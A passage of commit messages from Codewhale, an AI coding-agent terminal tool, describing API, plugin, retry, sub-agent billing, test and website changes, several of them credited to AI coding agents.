POST /v1/threads/{id}/goal/block — transition to blocked (409 if already
complete)
Goals are stored durably in the RuntimeThreadStore (goals/ subdirectory, one
JSON file per thread). Every write emits a replayable SSE event
(thread_goal_updated / thread_goal_cleared) so subscribers get the same
durable update that engine-driven changes produce.
The GET/PUT/DELETE handlers verify the thread exists in the runtime store
before touching the goal; unknown-thread requests return 404.
Lifecycle authority is preserved: PUT always resets to Active status; the
complete and block actions are the only paths to those states.
• Add goals_dir + save_goal/load_goal/delete_goal to RuntimeThreadStore
• Add get_goal/save_goal/remove_goal + goal event helpers to
RuntimeThreadManager
• Add thread_goals: bool to RuntimeCapabilities in codewhale-protocol
(default false for old deserializers; set to true in runtime_api)
• Four new integration tests covering CRUD, invalid transitions, auth,
and capability advertisement
Closes#5074
8f2b622dc normalized the model-facing artifact footer to forward slashes
(platform-independent). Two unit tests still asserted the raw OS path
against that footer, failing on the Windows lane:
- truncate::adaptive_evidence_footer_names_artifact_path_and_recovery
- subagent::subagent_tool_results_spill_to_disk_and_stay_bounded_inline
(upstream fa7c4b055)
Assert the normalized form via format_artifact_relative_path, matching
what the footer actually emits.
FEAT-012 adds the shared discovery-shadowing contract (discovery.rs, 235
lines) and the Gherkin acceptance harness (epic_discovery_acceptance.rs,
750 lines) mirroring the accepted FEAT-011 pattern. Aggregate owned Rust
source 673375 -> 674554 (+1179 lines). No new 1000-line modules.
Pay down in v0.9.5 per the existing budget TODO notes.
- git_repo_root_reports_attempted_paths_when_no_repo_found created its
harness in the checkout's parent dir; when the checkout is nested inside
another git repo (e.g. a workspace repo with sibling checkouts), the
harness itself resolved to that parent repo and the no-repository path
was never exercised
- Use the system temp dir with deep nesting beyond the parent-search limit,
mirroring the sibling create_isolated_worktree no-repo test
Boy Scout repair found by the FEAT-012 Phase 8 full workspace gate; test-only,
no behavior change to git_repo_root itself.
- New tests/features/feat-012-discovery-filtering.feature: 7 scenarios
(AC1-AC6 + AT-010 alias-aware unification) covering all six FEAT-012
acceptance criteria and EPIC AT-008/009/010
- New commands/epic_discovery_acceptance.rs: scenario-level cucumber worlds
bound to live palette builder, live slash completion, and live dispatch;
fail_on_skipped + non-zero passed-step assertions per scenario
- Registered module in commands/mod.rs
- docs/architecture/command-dispatch.md: module map row for shared
discovery.rs owner
- feat012 selector: 7/7 scenarios pass, zero skipped, non-zero steps each
- Guards: discovery 13/13, palette 34/34, completion 24/24; strict clippy
0 warnings
Generated with Claude Code
- widgets/mod.rs: builtin_visible_for_completion_match and push_command_entry
now consume commands::discovery predicates; local duplicate
user_command_shadows_builtin_canonical/_alias definitions deleted
- New completion test: slash_completion_accepted_user_alias_claims_builtin_canonical_token
(user alias claiming a built-in canonical token suppresses the built-in
suggestion and surfaces the user command)
- Completion suite: 24 passed (23 existing + 1 new); discovery 13/13 and
palette 34/34 guards green; strict clippy 0 warnings; no ranking/dedup/
file-move changes; slash_completion_hints stays in widgets/mod.rs
Generated with Claude Code
- command_palette.rs: canonical-shadow check now uses
commands::discovery::user_command_shadows_builtin_canonical over a
collected metadata slice instead of user_registry.get(command.name)
- palette_description_for_unshadowed_aliases now consumes
discovery::unshadowed_builtin_aliases (order-preserving projection)
- Removed temporary #[allow(dead_code)] markers from discovery.rs (all three
predicates now have consumers); module doc note removed
- New palette tests: visible canonical shadow (exactly one user-owned /help
row with user metadata/action), accepted-alias suppression of built-in
canonical row, hidden canonical shadow (no discovery row), alias-only
shadow preserving canonical row without the claimed alias
- Palette suite: 34 passed (30 existing + 4 new); shared 13/13; completion
23/23 guard green; strict clippy 0 warnings
Generated with Claude Code
- New crates/tui/src/commands/discovery.rs: user_command_shadows_builtin_canonical,
user_command_shadows_builtin_alias, unshadowed_builtin_aliases (order-preserving)
- Semantics ported from slash-completion predicates (widgets/mod.rs) which are the
explicit alias-aware reference; palette consumes them in Phase 3
- 13 unit tests: canonical claims, accepted-alias claims, hidden ownership,
rejected-alias omission, alias projection order, registry-lookup agreement guard
- Registered pub mod discovery in commands/mod.rs
- Temporary #[allow(dead_code)] on the three predicates until Phase 3/4 consumers
land (recorded in planning-analysis-report.md); MUST be removed there
Generated with Claude Code
registry_sync now returns instantly from the local snapshot and
refreshes it in the background: incremental via updated_since, with a
full pagination only when the snapshot is missing or older than a
month, and atomic cache replacement.
build_session_snapshot restored the title from the in-memory cache before
the disk lifecycle merge, and the cache is only refreshed at the end of
the function. A snapshot taken before the first user message therefore
pinned the placeholder title forever: every later snapshot overwrote
the conversation-derived title with the stale cached copy.
Title now resolves in priority order:
1. disk record, when the session already exists (user renames survive
autosave, #2934/#4397);
2. in-memory cache, when no disk record exists for the session yet;
3. the title computed from the conversation (first user message).
A placeholder that survived from an earlier snapshot yields to the
computed title once a user message exists, healing both fresh and
pre-existing sessions. The placeholder string is centralized in
DEFAULT_SESSION_TITLE so the healing rule cannot drift from the
generator.
Regression tests: stale cached placeholder no longer overrides the
generated title; a persisted placeholder record yields to the computed
title. Existing picker-rename tests (rename survives autosave) still
pass. Full codewhale-tui suite: 9708 passed; 10 failures all verified
pre-existing on main (6) or parallel-flaky (4, pass in isolation).
Reviewed by a sub-agent reviewer: no Critical/Major findings; Minor
findings addressed (comments corrected, placeholder centralized, cache
assertions completed); one documented edge (a session deliberately
renamed to the literal placeholder title yields to the computed title).
build_session_snapshot restored the title from the in-memory cache before
the disk lifecycle merge, and the cache is only refreshed at the end of
the function. A snapshot taken before the first user message therefore
pinned the placeholder title forever: every later snapshot overwrote
the conversation-derived title with the stale cached copy.
Title now resolves in priority order:
1. disk record, when the session already exists (user renames survive
autosave, #2934/#4397);
2. in-memory cache, when no disk record exists for the session yet;
3. the title computed from the conversation (first user message).
A placeholder that survived from an earlier snapshot yields to the
computed title once a user message exists, healing both fresh and
pre-existing sessions. The placeholder string is centralized in
DEFAULT_SESSION_TITLE so the healing rule cannot drift from the
generator.
Regression tests: stale cached placeholder no longer overrides the
generated title; a persisted placeholder record yields to the computed
title. Existing picker-rename tests (rename survives autosave) still
pass. Full codewhale-tui suite: 9708 passed; 10 failures all verified
pre-existing on main (6) or parallel-flaky (4, pass in isolation).
Reviewed by a sub-agent reviewer: no Critical/Major findings; Minor
findings addressed (comments corrected, placeholder centralized, cache
assertions completed); one documented edge (a session deliberately
renamed to the literal placeholder title yields to the computed title).
- Preserve partial assistant output on interactive network/timeout stream
drops, append a runtime continuation message, and re-issue the request
bounded by MAX_STREAM_RETRIES.
- Stop sending large pasted text to the model both inline and as a backup
.md file; submit only the file @-mention.
- Promote `agent { type: "builder", model: "..." }` to a matching fleet
roster profile when the explicit model matches the profile's pinned
route; reject with a clearer message when it does not.
- Update CHANGELOG and sync crates/tui/CHANGELOG.
Targeted tests and clippy pass.
Generated with Devin (https://devin.ai)
Upstream 21ed173cf renamed work_update -> todo_write (canonical; old names
stay hidden replay-only aliases) and updated docs/public-surface-facts.json,
docs/TOOL_SURFACE.md, and docs/RUNTIME_SIMPLIFICATION_DESIGN.md — but left
web/lib/public-surface-contract.test.ts expecting work_update, breaking the
Lint & Type Check gate on every branch:
- defaultActive array: work_update -> todo_write (matches facts file)
- RUNTIME_SIMPLIFICATION_DESIGN expectation: same rename
- web docs tools page: user-visible copy now names todo_write
Full web suite: 250/250 passing.
- turn_loop: a mid-stream chunk-timeout now counts toward the stream-error
budget (stall with nothing streamed retries transparently; an exhausted
budget fails the turn with the real reason instead of ending Completed
over a frozen block).
- idle engine: a finished background shell task wakes and starts an ordinary
runtime turn even without an active goal; a dead provider route claims the
completion once and reports where the output lives.
- subagent: over-budget final reports spill to a session artifact and the
truncation footer names the retrieve_tool_result ref; write failures
degrade to the honest no-ref footer. Test-only wrappers marked cfg(test).
- waits: agents/wait and agent action=wait default to 30 s and cap at 120 s
(blocked waits deafen the session; settled children report back as
sentinels). Bash action=wait honors timeout_secs/timeout aliases and
block; result metadata reports the real wait_timeout_ms.
- todo_write canonical naming: constructor is new(); work_update/TodoWrite/
todo stay hidden compat aliases; user-visible copy and docs updated.
- behavioral tips: DurableStateWritten fires on successful remember calls;
enum allow removed. voice.rs and work_surface model use let-chains.
- test: Windows path-separator tolerant artifact footer assertion.
- changelog: 0.9.4 additions (Agent Plugins v1.0.0, send_later, /advisor,
quiet mode, automation forms, resume_from, transport resilience,
durability, zh-Hant, update chip, RLM groundwork, stall/wake/truncation/
wait fixes). Dead-code budget re-baselined to 452.
The rustfmt pass on the footer-path test assertions (093186a1a) added 4
lines to production truncate.rs, pushing the aggregate to 677475, 4 over
the 677471 ceiling. Tighten ceiling 677471 -> 677475 (measured).
8f2b622dc normalized the model-facing artifact footer to forward slashes
(platform-independent). Two unit tests still asserted the raw OS path
against that footer, failing on the Windows lane:
- truncate::adaptive_evidence_footer_names_artifact_path_and_recovery
- subagent::subagent_tool_results_spill_to_disk_and_stay_bounded_inline
(upstream fa7c4b055)
Assert the normalized form via format_artifact_relative_path, matching
what the footer actually emits.
Upstream ec5747f7d ("fix: todo_write sole progress surface + §3d/4a test
alignment", 0.9.4) renamed work_update -> todo_write in the tool catalog,
and the 0.9.4 WIP prompt tightening (b6585ea99) grew the system prompt and
representative-stage identities. Neither re-baselined
scripts/runtime-contract-budget.json, leaving origin/main itself red on
this gate.
Sync all 49 drifted contract metrics to the measured receipt:
- tool_catalog tool_names/identity digests/bytes/tokens for plan, act,
operate x active/full (work_update -> todo_write; +125 bytes per surface)
- system_prompt bytes/tokens for all modes (prompt tightening)
- representative_context stage identities and byte counts
The contract budget is a snapshot of the code; this locks the new identity
per the gate's own "explicit maintainer decision" rule. No FEAT-012
changes contribute to the drift.
Upstream commit b6585ea99 (WIP: 0.9.4 fence, turn liveness, model picker,
budget, and contributor credit, merged 2026-08-06) added three
#[allow(dead_code)] attributes without bumping the dead-code budget,
leaving both origin/main and this branch 3 over the 451 ceiling:
- stuck_guard.rs: StepFingerprint::waiting_for_subagents (test-only ctor)
- turn_loop.rs: should_hold_turn_for_subagents (test-only, #3216)
- behavioral_tips.rs: enum BehavioralTip (3 of 6 variants unconstructed)
None are removable without deleting test-only constructors or enum
variants, so re-baseline 451 -> 454 per the gate's own guidance. Our
FEAT-012 code contributes 0 net allows (Phase 2 added 3, Phase 3 removed
them). Pay down in the #4785 sweep.
Fixes an upstream Windows-lane test failure introduced by #5212
(commit f0a6898c3, "fix(tui): honest large-output truncation + recovery
path").
#5212 flipped the adaptive-evidence contract so the model-facing
truncation footer MUST name the on-disk artifact path, but the footer
kept building that path with absolute_path.display().to_string(), which
on Windows emits backslashes (\artifacts\) while the acceptance test
asserts the POSIX form (/artifacts/).
- truncate.rs: the truncated_preview recovery_path (both the adaptive
evidence path and the legacy spillover fallback) now goes through
crate::artifacts::format_artifact_relative_path, which normalizes
separators to '/' — the same normalization the artifact_relative_path
metadata field already used.
- Consumers that read the footer path back (tool_routing, retrieval,
UI preview) construct PathBuf from the string, and PathBuf::from
accepts forward slashes on Windows, so no behavior change beyond the
model-facing text being platform-independent.
The failing test (headless_bash_success_and_failure_are_distinct_
bounded_exact_evidence) fails identically on upstream main without this
PR's changes; this commit lands the repair inside the Layer 5.3 PR to
unblock the Windows lane.
Paulo Aboim Pinto
registry_sync now returns instantly from the local snapshot and
refreshes it in the background: incremental via updated_since, with a
full pagination only when the snapshot is missing or older than a
month, and atomic cache replacement.
- canonical progress tool is todo_write only (not 4 names): work_update/TodoWrite/todo are hidden compat aliases (model_visible=false) for replay
- prompts/text.rs AGENT_MODE/PLAN_MODE now say call todo_write (not work_update)
- todo.rs CANONICAL_PROGRESS_TOOL=todo_write, description and DEFAULT_ACTIVE_NATIVE_TOOLS updated
- registry with_todo_tool registers work_update as alias (no duplicate), tool_category and missing_tool hints updated
- fix 6 prompt/registry/engine tests + 5 follow-on failures (default_active, missing_tool, tool_category, compressed invariant, todo metadata)
- fix subagent liveness: list_filtered now shows current terminals + prior Running without handle, test helpers get live handle via leaked runtime
RUST_MIN_STACK=16777216 cargo test -p codewhale-tui --bin codewhale-tui: 9919 passed, 0 failed
cargo build --release -p codewhale-tui: ok
- list_filtered(false) now only live Running with task_handle and heartbeat (4a)
- SubAgentResult gains started_at for live elapsed; snapshot_for_listing copies it
- work_surface agent_elapsed_ms derives from started_at at render when Running
- patched all manual SubAgentResult literals to include started_at: None
- wait default 300->30s and guidance prefers ending turn (4c)
FEAT-012 adds the shared discovery-shadowing contract (discovery.rs, 235
lines) and the Gherkin acceptance harness (epic_discovery_acceptance.rs,
750 lines) mirroring the accepted FEAT-011 pattern. Aggregate owned Rust
source 673375 -> 674554 (+1179 lines). No new 1000-line modules.
Pay down in v0.9.5 per the existing budget TODO notes.
- git_repo_root_reports_attempted_paths_when_no_repo_found created its
harness in the checkout's parent dir; when the checkout is nested inside
another git repo (e.g. a workspace repo with sibling checkouts), the
harness itself resolved to that parent repo and the no-repository path
was never exercised
- Use the system temp dir with deep nesting beyond the parent-search limit,
mirroring the sibling create_isolated_worktree no-repo test
Boy Scout repair found by the FEAT-012 Phase 8 full workspace gate; test-only,
no behavior change to git_repo_root itself.
- New tests/features/feat-012-discovery-filtering.feature: 7 scenarios
(AC1-AC6 + AT-010 alias-aware unification) covering all six FEAT-012
acceptance criteria and EPIC AT-008/009/010
- New commands/epic_discovery_acceptance.rs: scenario-level cucumber worlds
bound to live palette builder, live slash completion, and live dispatch;
fail_on_skipped + non-zero passed-step assertions per scenario
- Registered module in commands/mod.rs
- docs/architecture/command-dispatch.md: module map row for shared
discovery.rs owner
- feat012 selector: 7/7 scenarios pass, zero skipped, non-zero steps each
- Guards: discovery 13/13, palette 34/34, completion 24/24; strict clippy
0 warnings
Generated with Claude Code
- widgets/mod.rs: builtin_visible_for_completion_match and push_command_entry
now consume commands::discovery predicates; local duplicate
user_command_shadows_builtin_canonical/_alias definitions deleted
- New completion test: slash_completion_accepted_user_alias_claims_builtin_canonical_token
(user alias claiming a built-in canonical token suppresses the built-in
suggestion and surfaces the user command)
- Completion suite: 24 passed (23 existing + 1 new); discovery 13/13 and
palette 34/34 guards green; strict clippy 0 warnings; no ranking/dedup/
file-move changes; slash_completion_hints stays in widgets/mod.rs
Generated with Claude Code
- command_palette.rs: canonical-shadow check now uses
commands::discovery::user_command_shadows_builtin_canonical over a
collected metadata slice instead of user_registry.get(command.name)
- palette_description_for_unshadowed_aliases now consumes
discovery::unshadowed_builtin_aliases (order-preserving projection)
- Removed temporary #[allow(dead_code)] markers from discovery.rs (all three
predicates now have consumers); module doc note removed
- New palette tests: visible canonical shadow (exactly one user-owned /help
row with user metadata/action), accepted-alias suppression of built-in
canonical row, hidden canonical shadow (no discovery row), alias-only
shadow preserving canonical row without the claimed alias
- Palette suite: 34 passed (30 existing + 4 new); shared 13/13; completion
23/23 guard green; strict clippy 0 warnings
Generated with Claude Code
- New crates/tui/src/commands/discovery.rs: user_command_shadows_builtin_canonical,
user_command_shadows_builtin_alias, unshadowed_builtin_aliases (order-preserving)
- Semantics ported from slash-completion predicates (widgets/mod.rs) which are the
explicit alias-aware reference; palette consumes them in Phase 3
- 13 unit tests: canonical claims, accepted-alias claims, hidden ownership,
rejected-alias omission, alias projection order, registry-lookup agreement guard
- Registered pub mod discovery in commands/mod.rs
- Temporary #[allow(dead_code)] on the three predicates until Phase 3/4 consumers
land (recorded in planning-analysis-report.md); MUST be removed there
Generated with Claude Code
- structcopy.rs: simplify nonminimal boolean in next_absolute_path_start (no behavior change)
- latex_render.rs: remove always-true '|| true' last-row guard in parse_rows, which emitted a spurious empty row after a trailing row separator; add regression test
Boy Scout repairs of pre-existing issues on origin/main so the configured strict lint gate is green.
The public repo carried maintainer process that is not contributor-facing
contract: perishable lane state, the release queue, the issue-triage
standard, dated audits and state matrices, per-release completion ledgers,
QA evidence, and design specs. All of it moves to the private
`codewhale-ops` repo, which already holds this class of document.
Moved: docs/ops/CURRENT.md, RELEASE_QUEUE.md, AGENT_READY_ISSUES.md,
MODEL_PROVIDER_AUDIT.md, CONSTITUTIONAL_KERNEL_AUDIT.md, the dated
TUI_DOG_008 state matrix, TUI_METAMORPHOSIS.md,
RECURSIVE_SELF_IMPROVEMENT.md, TTC_DESIGN.md, and the docs/releases/,
docs/evidence/, and docs/superpowers/ trees.
Two were moved and put back. `PREVIEW_REQUEST.md` is cited from
request_manifest.rs, client.rs, and engine/preview.rs, and
`RUNTIME_SIMPLIFICATION_DESIGN.md` is listed in
docs/public-surface-facts.json, which the web vocabulary tests pin. Those
are load-bearing references, not planning notes.
Every surviving link was repointed rather than left dangling: AGENTS.md,
crates/tui/AGENTS.md, CONTRIBUTING.md, docs/ISSUE_TRIAGE.md,
docs/CATALOG_REFRESH.md, docs/AGENT_RUNTIME.md. `npm run check:docs`
passes.
Also re-baselines the source-structure budget for the [Unreleased] work
merged this session (673375 -> 676325 aggregate, 17596 -> 17631 max
module, 175 -> 176 large modules) and declares plugins/agent_plugin.rs as
an allowed thousand-line module. Unrelated to the doc move; the gate simply
had not been re-run since Agent Plugins landed.
Adds two sections a successor needs before touching either surface.
The VS Code fork: cloned at /Volumes/VIXinSSD/CW/vscode, product.json
rebranded, and — the part most likely to be undone by someone helpful —
`extensionsGallery` pointed at Open VSX. The Microsoft Marketplace ToU
restrict it to Microsoft products and a fork aimed at it violates them
without failing loudly. Also states the honest cost: icons, toolchain,
signing, and then rebasing on upstream forever, which is the real expense.
Visual identity: the mark is Signal Current, defined in web/components/
whale.tsx from the managed product contract, and its two path strings now
live in three files — which is exactly how the extension ended up shipping
a different whale. Names the duplication so the next person collapses it
instead of adding a fourth copy.
Includes the real TUI palette from crates/tui/src/palette/tokens.rs so
matching the extension to the product is a table lookup rather than taste,
with two cautions: webviews must still respect the user's editor theme via
var(--vscode-*) or they look broken in light mode, and the TUI's ambient
touches are characterful rather than decorative — port the restraint, and
give anything animated a reduced-motion path. Notes CWC should take the
same palette so the four surfaces stop diverging.
The extension shipped its own slate/sky whale that existed nowhere else in
the product. The canonical mark is Signal Current — `web/app/icon.svg` and
the WHALE_BODY / WHALE_CURRENT constants in `web/components/whale.tsx`,
described there as "from the managed Codewhale product contract."
Replaced with the canonical paths (verified byte-identical to icon.svg) on
the product color tokens: signal gold #F6C453 and current cyan #48D7FF.
A comment names the two other copies so the next person keeps all three in
step rather than inventing a fourth.
Records the state a successor needs: main is 22 commits past what the
v0.9.4 notes describe, what is verified locally versus never seen by CI
(RUST_MIN_STACK in particular), the three blockers before publishing, and
the traps that cost this session real time.
Scroll reveals, hover/focus states, restrained depth, and state-change
feedback — each with a reduced-motion path, no animation library, and
paint-only properties so layout shift stays zero.
Entrance reveals on scroll, considered hover/focus states, restrained depth
on the terminal and card surfaces, and feedback on state changes — sized to
a print object coming to life rather than a landing page.
Every effect has a reduced-motion path written alongside it, not bolted on:
all four components check `prefers-reduced-motion` and the CSS carries its
own block. That block also avoids the usual reduced-motion bug — freezing
the ticker would strand every entry past the fold, so the track stops
moving and becomes scrollable instead of simply halting.
No animation library. `package.json` is untouched; this is CSS transitions,
the Web Animations API, and IntersectionObserver.
Nothing animated triggers layout. The properties in play are transform,
color, border-color, and background-size (underline draws) — all paint, so
cumulative layout shift stays zero. The brief asked for transform/opacity
only; the paint-only additions keep that intent.
The accessibility work from the previous pass is intact and re-checked:
the white/55 contrast value, the roving tabindex and aria-controls wiring,
and the mobile-menu focus return all survive.
Known, judged acceptable: focus stays inside the menu during its 170ms exit
fade and returns to the toggle on unmount; pointer interaction is disabled
for that window.
Drafted by Kimi K3 in Codewhale exec on an isolated worktree. Gates re-run
here: 250 tests, eslint clean.
Agent Plugins v1.0.0 consume, publish, and name slugification.
Discovery prefers `plugin.json` and falls back to `plugin.toml`; both parse
into the existing PluginManifest, so registry, trust, staging, and skills
are untouched. Codewhale-only fields round-trip through
`extensions["net.codewhale"]`, unknown namespaces are dropped rather than
rejected — the point of the standard — and `mcp_servers` map to and from a
sibling `mcp.json`, since plugin.json's root is closed. `/plugin export`
emits a spec-valid bundle into a fresh directory without touching the
source.
The implementation corrected four things the design doc got wrong about
this codebase, which is why it is worth reading before the next pass:
- PluginManifest was NOT a superset of the standard. It had no `homepage`,
`repository`, `license`, or `keywords`, and models `author` as a bare
string, so those were added and the structured author is mapped both ways.
- The name rules genuinely conflict. Codewhale historically allows `--` and
bans dots; the standard bans `--`/`..` and allows dots. Holding
`plugin.toml` to the standard rule would have stopped existing plugins
like `a--b` loading at all — and made export-time slugification
unreachable, since no registry could then hold a non-conforming name. So
toml keeps its historical rule, json enforces the standard, and export
slugifies between them with the original kept as a display name.
- The mcp.json transport discriminant was never specified; `type` is now
emitted and consumed explicitly, inferred from command-vs-url when absent.
- `/plugin export` had no destination in the spec, so it takes an explicit
target directory — writing into the source bundle would be the migration
half, which is deliberately out of scope.
Known interop limit, stated rather than discovered later: Codewhale's trust
model still applies to third-party bundles. Literal `env` values and literal
headers are rejected (env must be exact `${VAR}` placeholders) and
`capabilities.network_hosts` must cover remote MCP hosts, so some in-the-wild
plugins will need those two idioms adjusted before they load here.
Built by Kimi K3 in Codewhale exec on an isolated worktree. Verified here:
147 plugin tests, full suite 9941 passed, fmt clean.
Implement the vendor-neutral agent-plugins.org format per
docs/superpowers/specs/2026-08-06-agent-plugins-design.md:
- discovery prefers plugin.json and falls back to legacy plugin.toml;
both parse into PluginManifest, so nothing downstream of discovery
changes. Codewhale-only fields (commands, agents, hooks, lsp, native,
capabilities, when, display_name) round-trip through
extensions["net.codewhale"]; unknown extensions namespaces are
ignored, never rejected. mcp_servers map to/from a sibling mcp.json
with stdio / streamable-http / sse transports; PLUGIN_ROOT and
PLUGIN_DATA are reserved env names.
- /plugin export <name> <dir> publishes a spec-valid bundle
(plugin.json + mcp.json when servers exist + the skills/ tree) into a
fresh directory; every emission is re-validated against the
standard's shape before writing; custom skills layouts normalize to
the standard skills/ root, with collisions as errors.
- names invalid under the standard are slugified on publish and the
original is preserved as the display name; a slug colliding with an
existing plugin is an error, never a silent rename. plugin.toml keeps
its historical name rule so existing bundles (e.g. `--` runs) keep
loading; plugin.json is held to the standard rule.
- install/staging/runtime-receipt lanes resolve either manifest name;
tarball installs accept a dual-published bundle root. The plugin.toml
content-hash domain stays byte-identical; plugin.json starts a fresh
receipt family. On-disk auto-migration is intentionally not included.
Agent-implemented per the approved design doc.
`/health` and `/v1/runtime/info` are intentionally unauthenticated, so a
token-protected runtime answers both with 200. The extension read that as
success and showed "Connected" — then every `/v1/*` fetch failed with 401
and the view sat there empty with no explanation.
The info body already carries the real signal (`auth_required`, see
crates/tui/src/runtime_api.rs). Read it: no token plus `auth_required`
now reports auth-required and names the setting that fixes it.
Audited the rest and found it sound: all six contributed commands are
registered and implemented, activationEvents match, `serve --http --host
--port --auth-token` all exist in the real CLI, the default port matches,
the docs URL target exists, timeouts degrade to an honest offline state,
and the webview CSP/nonce/escaping hold.
Verified by Kimi K3 against a live runtime rather than a passing compile:
no token -> auth-required; with token -> connected, version 0.9.4; nothing
listening -> offline; threads parse with keys matching the TS interface.
`vsce package` produces a clean 12-file vsix, rebuilt here to confirm.
Not verified anywhere: rendering inside a real VS Code host. The data
paths and command wiring are exercised, but webview layout and status-bar
placement need `code --install-extension` on a machine with the CLI.
Website defect fixes ahead of relaunch: mobile-menu focus management,
the ARIA tabs pattern behind the terminal player's tablist, a WCAG AA
contrast failure (4.32:1 -> 5.78:1), SoftwareApplication JSON-LD sourced
only from repo-proven facts, and the missing Indonesian og:locale.
Defect fixes ahead of relaunch — no redesign, no new copy, no media.
Accessibility:
- The mobile menu declares `aria-modal`, which promises the dialog owns
interaction, but focus never entered it and never came back. Focus now
moves inside on open and returns to the toggle on close. The toggle node
is captured before cleanup rather than read from the ref inside it, which
would race React clearing it.
- The terminal player had `role="tablist"` with none of the pattern behind
it. Adds arrow-key/Home/End movement, a roving tabindex, and
aria-controls/aria-labelledby wiring between each tab and the panel.
- Context text ran at white/45 on ink — 4.32:1, below the 4.5:1 WCAG AA
floor for normal text. Now white/55, 5.78:1.
Metadata:
- SoftwareApplication JSON-LD on the home page. Every field traces to a
repo-sourced fact already rendered on the page; `softwareVersion` is
omitted rather than guessed when facts carry none.
- `id` was missing from the OpenGraph locale map, so Indonesian pages
emitted no og:locale.
Drafted by Kimi K3 in Codewhale exec, reviewed here. The claimed contrast
ratio was recomputed independently (5.78:1 vs its stated 5.75:1 — a
rounding difference against the exact ink token, and the before value does
genuinely fail AA). Gates re-run here: 250 tests, eslint clean.
Note for follow-up, not introduced by this change: `npm audit` in web/ now
reports 1 high-severity js-yaml advisory. The release contract requires 0.
Harvested from PR #5252 by @cacdcaecawae
Adds an optional `EngineConfig::subagent_state_root` so an embedding host
can own delegated-agent lifecycle storage instead of sharing
`<workspace>/.codewhale/state` with every other conversation bound to the
same project. The worker ledger, transcript artifacts, coordination lock,
cleanup, and `resume_from` reads move behind the selected root; child
execution cwd, file authority, and receipts are unchanged.
Unset leaves the legacy default byte-for-byte, so nothing changes for
anyone who does not opt in.
The PR is explicit that it is a partial building block for #4416 and
deliberately does not implement durable session ownership, cross-session
history union, or write arbitration — and therefore does not close it. It
also documents that distinct state roots are distinct coordination domains
and do not arbitrate writes to a shared execution workspace, which is the
limitation most likely to be misread as isolation.
Co-authored-by: cacdcaecawae <109055297+cacdcaecawae@users.noreply.github.com>
Harvested from PR #5254 by @mky
rquickjs ships no pre-generated bindings for FreeBSD, so `rquickjs-sys`
failed to compile there:
rquickjs probably doesn't ship bindings for platform
`x86_64-unknown-freebsd(n/a)`. try the `bindgen` feature instead.
Adds the `bindgen` feature for `cfg(target_os = "freebsd")`, mirroring the
NetBSD and Android blocks already directly above and below it — same
shape, same rationale, same comment form.
Co-authored-by: mky <817223+mky@users.noreply.github.com>
An SSE open failure returned a bare `anyhow!` string, so it never became an
`LlmError` and `is_retryable()` never saw it. The shared retry layer
therefore treated a transport stall as a permanent failure and killed the
turn.
Sub-agents survived it anyway, because they carry their own classifier that
text-matches the message
(`transient_provider_classifier_matches_sse_header_timeout`) and retry with
backoff and a checkpoint. Root turns had no such path. So the same transient
network event that a child shrugged off would destroy a long root run — and
did: a delegated Kimi K3 agent lost a half-finished edit to exactly this,
leaving a non-compiling file behind.
All three open failures (H2 stall, H1-pinned stall, H1 fallback error) are
now `LlmError::NetworkError`, which the shared layer already classifies as
retryable. The guidance text is unchanged, so `CODEWHALE_FORCE_HTTP1=1`
still surfaces for the proxy/Windows case. The existing single-retry H1
twin is untouched — this is about what happens when that is exhausted.
A test now pins that a header stall downcasts to a retryable LlmError, so
the classification cannot silently regress to a string again.
Sub-agent billing attribution: the routing bug and the blindness that hid it.
- `FleetLoadout::Fast` mapped to `ModelRoute::Faster`, the "cheap sibling",
which routes a child off the parent's model. A scout takes `Fast` by
default, so a parent turn on a deliberately-priced route spawned children
billed as something else. A loadout says how much work a role should do,
not what it costs; `Fast` now inherits.
- Nothing surfaced it. In stream-json, `AgentSpawned` hit a catch-all that
emitted nothing, so a live run showed six agent events and exactly one
`model` field — the parent's. There is now an `agent_spawned` event
carrying the child's model, depth, parent, and route source.
- Also lands the RLM block-intent scanner: static extraction of what a
Python block intends to do, so the REPL can eventually act under one
informed approval instead of per-call prompts or a blind yes. It fails
toward disclosure — computed arguments are reported as undecidable rather
than omitted.
Found because a human noticed a number on an invoice, not because any test
or check in this repo caught it.
In stream-json mode `Event::AgentSpawned` fell into a catch-all that
emitted nothing:
Event::AgentSpawned { .. } | AgentProgress { .. } | AgentComplete { .. } => {}
So a delegated child was invisible to anything reading the stream. A live
run proved it: parent on muse-spark-1.2-contributor, six agent events, a
scout child, and exactly one "model" field in the entire output — the
parent's.
That blindness is what let the Fast loadout re-price scout children onto a
cheaper sibling unnoticed until it showed up on an invoice. The routing bug
is fixed; this closes the reason it went unseen.
Adds an `agent_spawned` stream event carrying the child's id, the model it
was installed with, spawn depth, parent run id, and — where the spawn path
resolved one — the route source. The model is read at the spawn seam from
the child's own record, so a later `/model` switch cannot rewrite a
launched child's attribution.
`route_source` is honestly absent on the manager spawn path rather than
guessed: provenance is resolved on the workflow seam
(WorkflowTaskSpawnMetadata), and the half that determines billing is
present either way.
Verified live on the same scenario that exposed the gap:
{"type":"agent_spawned","id":"agent_02ed07f3",
"model":"muse-spark-1.2-contributor","spawn_depth":1}
Started by Kimi K3 in Codewhale exec (it found the ExecStreamMeta naming
and drafted the event fields); its run died on an SSE timeout mid-edit and
was finished here.
A `Fast` loadout mapped to `ModelRoute::Faster` — the "cheap sibling" —
which routes a child off the parent's model onto whatever the provider's
cheaper alternative is. A scout sub-agent takes `Fast` by default, so a
parent turn deliberately running a specifically-priced route spawned
children billed as something else entirely.
Nothing surfaced it. Verified against a live run: the parent's model
appears in `exec --output-format stream-json` as
`"model":"muse-spark-1.2-contributor"`, six `agent` events and a `scout`
child follow, and the child's model appears nowhere in the output. The
only place the re-pricing showed up was the invoice.
A loadout is a statement about how much work a role should do, not
authority to re-price it. `Fast` now inherits the parent route like every
other default. `Auto` still resolves to the cheap sibling, so opting into
one remains possible — but only deliberately.
The five tests that asserted the old behavior now assert the new contract,
including the router-parity test that specifically pinned "fleet fast
loadout resolves to the provider cheap sibling".
Still open and worth fixing separately: sub-agent model attribution is
absent from structured output, so any future routing surprise would be
equally invisible.
Groundwork for letting the RLM REPL act, not just read. Prime Intellect's
RLM has file operations, shell, and tool use happening through code;
Codewhale's REPL has context management and sub-queries but no way to act,
so it can reason and delegate and not much else.
The blocker to adding action bindings is approval. Every gate in Codewhale
keys on tool identity — ApprovalRequirement per ToolSpec, execpolicy and
command_safety on shell, sandbox policy per tool. One Python block can
perform ten gated operations, so prompting per call makes the surface
unusable while approving a blind block gives up the policy layer that
Prime's own README says it does not have.
This reads a block before it runs and reports what it intends to do, so one
approval can still be an informed one. It fails toward disclosure: literal
